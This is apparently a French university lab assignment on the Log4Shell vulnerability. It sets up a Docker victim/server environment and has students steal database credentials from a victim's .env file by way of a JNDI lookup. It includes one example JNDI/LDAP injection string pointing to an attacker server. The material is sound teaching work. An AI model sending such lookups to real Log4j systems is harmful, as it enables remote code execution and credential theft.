Sujet - TP Log4Shell

BERTRAND Timothé - BLANC Olivier - PAYS Antoine - GENIN Fabien

A rendre pour le jeudi 10 février 2022 23H59

Exercice

Objectif : Récuperer le contenu de la BDD avec les informations présentes dans le fichier .env de la victime.

Schéma explicatif rapide :

Vous êtes un attaquant et vous souhaitez accéder à une BDD, sauf que vous n'avez pas les informations pour vous connectez à la BDD. Ces informations se trouvent dans le fichier .env de la victime. Il faut savoir que le développeur du serveur victime a choisi de logger les identifiants d'un utilisateur lors de l'envoi du formulaire.

Configuration

Pour utiliser les commandes docker vous devrez vous connecter à VDN à l'iut comme vous en avez l'habitude pour les autres TP précédents

Si vous utilisez les machines de l'iut, lancer `vdn docker-tmp`. Start la machine root@debian-1 Dans la console de la VM root@debian-1, créer un répertoire "log4shell" Faire `cd log4shell` et ensuite `git clone https://github.com/Fabinhio25/TPLog4Shell`

Faire un `make all` pour créer tous les DockerFiles

Après avoir fait le make all, faire un `docker-compose up` dans le repertoire cloné. Récupérer les IP de server et de victime dans la console quand docker-compose up est executé Victim_1 | Running on IP : XXX.XXX Server_1 | Running on IP : XXX.XXX L'IP server sera a mettre dans le lookup plus tard

Etapes à reproduire pour la réalisation du tp :

Créer un fichier java dans lequel le code devra récupérer et écrire le .env de la base de données dans les logs du serveur. Appeler votre class java dans une requete faite au serveur, grace à un lookup vu en cours.

Exemple de lookup : "${jndi:ldap://:9999/WithReturn}"

Pour se connecter a la BDD : `mysql -u root -p ipadress` ipadress se trouve dans le .env

Vous pourrez trouver des exemples d'attaques dans le fichier "attacker.java"

Question :

```
Le but est de se connecter sur le serveur de la victime en tant que administrateur. Utiliser le lookup v

Vous trouverez des exemples du fichier java /TPLog4Shell/attacker/java/ :

Simple.java
WithReturn.java
```